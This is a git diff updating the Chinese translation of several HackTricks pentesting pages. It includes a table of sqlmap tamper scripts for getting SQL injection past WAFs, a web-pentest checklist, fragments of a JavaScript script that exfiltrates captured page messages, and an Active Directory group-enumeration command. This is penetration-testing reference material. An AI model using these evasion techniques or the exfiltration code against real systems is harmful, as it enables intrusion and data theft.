| bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 = |
|
| bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 = |
|
||||||
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码(不处理已经编码的字符) |
|
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码(不处理已编码的字符) |
|
||||||
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换类似 'LIMIT M, N' 的实例 |
|
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换 'LIMIT M, N' 的实例 |
|
||||||
| commalessmid.py | 用 'MID(A FROM B FOR C)' 替换类似 'MID(A, B, C)' 的实例 |
|
| commalessmid.py | 用 'MID(A FROM B FOR C)' 替换 'MID(A, B, C)' 的实例 |
|
||||||
| concat2concatws.py | 用 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' 替换类似 'CONCAT(A, B)' 的实例 |
|
| concat2concatws.py | 用 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' 替换 'CONCAT(A, B)' 的实例 |
|
||||||
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码(不处理已经编码的字符) |
|
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码(不处理已编码的字符) |
|
||||||
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已经编码的字符)。"%u0022" |
|
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已编码的字符)。"%u0022" |
|
||||||
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已经编码的字符)。"\u0022" |
|
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已编码的字符)。"\u0022" |
|
||||||
| equaltolike.py | 用运算符 'LIKE' 替换所有等于运算符 ('=') |
|
| equaltolike.py | 用运算符 'LIKE' 替换所有等于运算符 ('=') 的出现 |
|
||||||
| escapequotes.py | 斜杠转义引号 (' 和 ") |
|
| escapequotes.py | 斜杠转义引号 (' 和 ") |
|
||||||
| greatest.py | 用 'GREATEST' 对应字符替换大于运算符 ('>') |
|
| greatest.py | 用 'GREATEST' 对应字符替换大于运算符 ('>') |
|
||||||
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
|
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
|
||||||
| ifnull2ifisnull.py | 用 'IF(ISNULL(A), B, A)' 替换类似 'IFNULL(A, B)' 的实例 |
|
| ifnull2ifisnull.py | 用 'IF(ISNULL(A), B, A)' 替换 'IFNULL(A, B)' 的实例 |
|
||||||
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
|
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
|
||||||
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
|
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
|
||||||
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
|
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
|
||||||
| nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字(例如 .replace("SELECT", "")过滤器 |
|
| nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字(例如 .replace("SELECT", "")过滤器 |
|
||||||
| percentage.py | 在每个字符前添加百分号 ('%') |
|
| percentage.py | 在每个字符前添加百分号 ('%') |
|
||||||
| overlongutf8.py | 转换给定有效负载中的所有字符(不处理已经编码的字符) |
|
| overlongutf8.py | 转换给定有效负载中的所有字符(不处理已编码的字符) |
|
||||||
| randomcase.py | 用随机大小写值替换每个关键字字符 |
|
| randomcase.py | 用随机大小写值替换每个关键字字符 |
|
||||||
| randomcomments.py | 向 SQL 关键字添加随机注释 |
|
| randomcomments.py | 向 SQL 关键字添加随机注释 |
|
||||||
| securesphere.py | 附加特殊构造的字符串 |
|
| securesphere.py | 附加特殊构造的字符串 |
|
||||||
| sp\_password.py | 在有效负载末尾附加 'sp\_password' 以自动混淆 DBMS 日志 |
|
| sp\_password.py | 在有效负载末尾附加 'sp\_password' 以自动混淆 DBMS 日志 |
|
||||||
| space2comment.py | 用注释替换空格字符 (' ') |
|
| space2comment.py | 用注释替换空格字符 (' ') |
|
||||||
| space2dash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
| space2dash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||||
| space2hash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
| space2hash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||||
|
@ -192,33 +194,35 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||||
| space2mssqlhash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟换行符 ('\n') |
|
| space2mssqlhash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟换行符 ('\n') |
|
||||||
| space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
|
| space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||||
| space2mysqldash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟换行符 ('\n') |
|
| space2mysqldash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟换行符 ('\n') |
|
||||||
| space2plus.py | 用加号 ('+') 替换空格字符 (' ') |
|
| space2plus.py | 用加号 ('+') 替换空格字符 (' ') |
|
||||||
| space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
|
| space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||||
| symboliclogical.py | 用其符号对应物替换 AND 和 OR 逻辑运算符 (&& 和 |
|
| symboliclogical.py | 用其符号对应物替换 AND 和 OR 逻辑运算符 (&& 和 |
|
||||||
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
|
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
|
||||||
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 ('),并在末尾添加通用注释(以使其工作) |
|
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 ('),并在末尾添加通用注释(以使其工作) |
|
||||||
| uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
|
| uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
|
||||||
| varnish.py | 附加 HTTP 头 'X-originating-IP' |
|
| varnish.py | 附加 HTTP 头 'X-originating-IP' |
|
||||||
| versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
|
| versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
|
||||||
| versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
|
| versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
|
||||||
| xforwardedfor.py | 附加假 HTTP 头 'X-Forwarded-For' |
|
| xforwardedfor.py | 附加假 HTTP 头 'X-Forwarded-For' |
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。使用 20 多种工具和功能从任何地方运行完整的渗透测试,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,18 +9,27 @@
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
在每次 Web 渗透测试中,有 **几个隐藏和明显的地方可能存在漏洞**。这篇文章旨在作为一个检查清单,以确认您已在所有可能的地方搜索漏洞。
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
|
在每次 Web 渗透测试中,有 **几个隐藏和明显的地方可能存在漏洞**。本文旨在作为检查清单,以确认您已在所有可能的地方搜索漏洞。
|
||||||
|
|
||||||
## 代理
|
## 代理
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
如今 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些代理可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但它们通常还需要后端的某些额外漏洞。
|
如今 **网络** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些代理可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但它们通常还需要后端的某些额外漏洞。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* [ ] [**滥用 hop-by-hop 头**](abusing-hop-by-hop-headers.md)
|
* [ ] [**滥用 hop-by-hop 头**](abusing-hop-by-hop-headers.md)
|
||||||
|
@ -30,18 +39,18 @@
|
||||||
* [ ] [**服务器端包含/边缘端包含**](server-side-inclusion-edge-side-inclusion-injection.md)
|
* [ ] [**服务器端包含/边缘端包含**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||||
* [ ] [**揭露 Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
* [ ] [**揭露 Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||||
* [ ] [**XSLT 服务器端注入**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
* [ ] [**XSLT 服务器端注入**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||||
* [ ] [**代理 / WAF 保护绕过**](proxy-waf-protections-bypass.md)
|
* [ ] [**代理/WAF 保护绕过**](proxy-waf-protections-bypass.md)
|
||||||
|
|
||||||
## **用户输入**
|
## **用户输入**
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
大多数 web 应用程序将 **允许用户输入一些数据以便后续处理。**\
|
大多数网络应用程序将 **允许用户输入一些稍后将被处理的数据。**\
|
||||||
根据服务器期望的数据结构,某些漏洞可能适用或不适用。
|
根据服务器期望的数据结构,某些漏洞可能适用或不适用。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **反射值**
|
### **反射值**
|
||||||
|
|
||||||
如果输入的数据可能以某种方式反射在响应中,则页面可能会受到多种问题的影响。
|
如果输入的数据可能以某种方式反映在响应中,则页面可能会受到多种问题的影响。
|
||||||
|
|
||||||
* [ ] [**客户端模板注入**](client-side-template-injection-csti.md)
|
* [ ] [**客户端模板注入**](client-side-template-injection-csti.md)
|
||||||
* [ ] [**命令注入**](command-injection.md)
|
* [ ] [**命令注入**](command-injection.md)
|
||||||
|
@ -53,7 +62,7 @@
|
||||||
* [ ] [**服务器端包含/边缘端包含**](server-side-inclusion-edge-side-inclusion-injection.md)
|
* [ ] [**服务器端包含/边缘端包含**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||||
* [ ] [**服务器端请求伪造**](ssrf-server-side-request-forgery/)
|
* [ ] [**服务器端请求伪造**](ssrf-server-side-request-forgery/)
|
||||||
* [ ] [**服务器端模板注入**](ssti-server-side-template-injection/)
|
* [ ] [**服务器端模板注入**](ssti-server-side-template-injection/)
|
||||||
* [ ] [**反向标签劫持**](reverse-tab-nabbing.md)
|
* [ ] [**反向标签窃取**](reverse-tab-nabbing.md)
|
||||||
* [ ] [**XSLT 服务器端注入**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
* [ ] [**XSLT 服务器端注入**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||||
* [ ] [**XSS**](xss-cross-site-scripting/)
|
* [ ] [**XSS**](xss-cross-site-scripting/)
|
||||||
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
||||||
|
@ -86,7 +95,7 @@
|
||||||
|
|
||||||
### **HTTP 头**
|
### **HTTP 头**
|
||||||
|
|
||||||
根据 web 服务器提供的 HTTP 头,可能存在某些漏洞。
|
根据 Web 服务器提供的 HTTP 头,可能存在某些漏洞。
|
||||||
|
|
||||||
* [ ] [**点击劫持**](clickjacking.md)
|
* [ ] [**点击劫持**](clickjacking.md)
|
||||||
* [ ] [**内容安全策略绕过**](content-security-policy-csp-bypass/)
|
* [ ] [**内容安全策略绕过**](content-security-policy-csp-bypass/)
|
||||||
|
@ -95,7 +104,7 @@
|
||||||
|
|
||||||
### **绕过**
|
### **绕过**
|
||||||
|
|
||||||
有几个特定功能可能需要一些变通方法来绕过它们。
|
有几个特定功能可能需要一些变通方法来绕过它们
|
||||||
|
|
||||||
* [ ] [**2FA/OTP 绕过**](2fa-bypass.md)
|
* [ ] [**2FA/OTP 绕过**](2fa-bypass.md)
|
||||||
* [ ] [**绕过支付流程**](bypass-payment-process.md)
|
* [ ] [**绕过支付流程**](bypass-payment-process.md)
|
||||||
|
@ -106,7 +115,7 @@
|
||||||
* [ ] [**重置忘记密码绕过**](reset-password.md)
|
* [ ] [**重置忘记密码绕过**](reset-password.md)
|
||||||
* [ ] [**注册漏洞**](registration-vulnerabilities.md)
|
* [ ] [**注册漏洞**](registration-vulnerabilities.md)
|
||||||
|
|
||||||
### **结构化对象 / 特定功能**
|
### **结构化对象/特定功能**
|
||||||
|
|
||||||
某些功能将要求 **数据以非常特定的格式进行结构化**(如语言序列化对象或 XML)。因此,更容易识别应用程序是否可能存在漏洞,因为它需要处理这种类型的数据。\
|
某些功能将要求 **数据以非常特定的格式进行结构化**(如语言序列化对象或 XML)。因此,更容易识别应用程序是否可能存在漏洞,因为它需要处理这种类型的数据。\
|
||||||
某些 **特定功能** 也可能存在漏洞,如果使用 **特定格式的输入**(如电子邮件头注入)。
|
某些 **特定功能** 也可能存在漏洞,如果使用 **特定格式的输入**(如电子邮件头注入)。
|
||||||
|
@ -118,9 +127,9 @@
|
||||||
|
|
||||||
### 文件
|
### 文件
|
||||||
|
|
||||||
允许上传文件的功能可能会存在多种问题。\
|
允许上传文件的功能可能会受到多种问题的影响。\
|
||||||
生成包含用户输入的文件的功能可能会执行意外代码。\
|
生成包含用户输入的文件的功能可能会执行意外代码。\
|
||||||
打开用户上传的文件或自动生成的包含用户输入的文件的用户可能会受到威胁。
|
打开用户上传的文件或自动生成的包含用户输入的文件的用户可能会受到影响。
|
||||||
|
|
||||||
* [ ] [**文件上传**](file-upload/)
|
* [ ] [**文件上传**](file-upload/)
|
||||||
* [ ] [**公式注入**](formula-csv-doc-latex-ghostscript-injection.md)
|
* [ ] [**公式注入**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||||
|
@ -141,6 +150,16 @@
|
||||||
* [ ] [**参数污染**](parameter-pollution.md)
|
* [ ] [**参数污染**](parameter-pollution.md)
|
||||||
* [ ] [**Unicode 规范化漏洞**](unicode-injection/)
|
* [ ] [**Unicode 规范化漏洞**](unicode-injection/)
|
||||||
|
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -150,7 +169,7 @@
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,10 +8,14 @@
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
```javascript
|
```javascript
|
||||||
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
||||||
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
|
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
|
||||||
|
@ -119,17 +123,21 @@ window.onmessage = function(e){
|
||||||
exfil_info("onmessage", encode(e.data))
|
exfil_info("onmessage", encode(e.data))
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# 特权组
|
# 特权组
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,17 +15,24 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
|
||||||
|
今天就获取访问权限:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
## 具有管理权限的知名组
|
## 具有管理权限的知名组
|
||||||
|
|
||||||
* **管理员**
|
* **管理员**
|
||||||
* **域管理员**
|
* **域管理员**
|
||||||
* **企业管理员**
|
* **企业管理员**
|
||||||
|
|
||||||
## 账户操作员
|
## 帐户操作员
|
||||||
|
|
||||||
该组有权创建非管理员的账户和组。此外,它还允许本地登录到域控制器 (DC)。
|
该组有权创建不是域管理员的帐户和组。此外,它还允许本地登录到域控制器 (DC)。
|
||||||
|
|
||||||
要识别该组的成员,执行以下命令:
|
要识别该组的成员,可以执行以下命令:
|
||||||
```powershell
|
```powershell
|
||||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||||
```
|
```
|
||||||
|
@ -33,11 +40,11 @@ Get-NetGroupMember -Identity "Account Operators" -Recurse
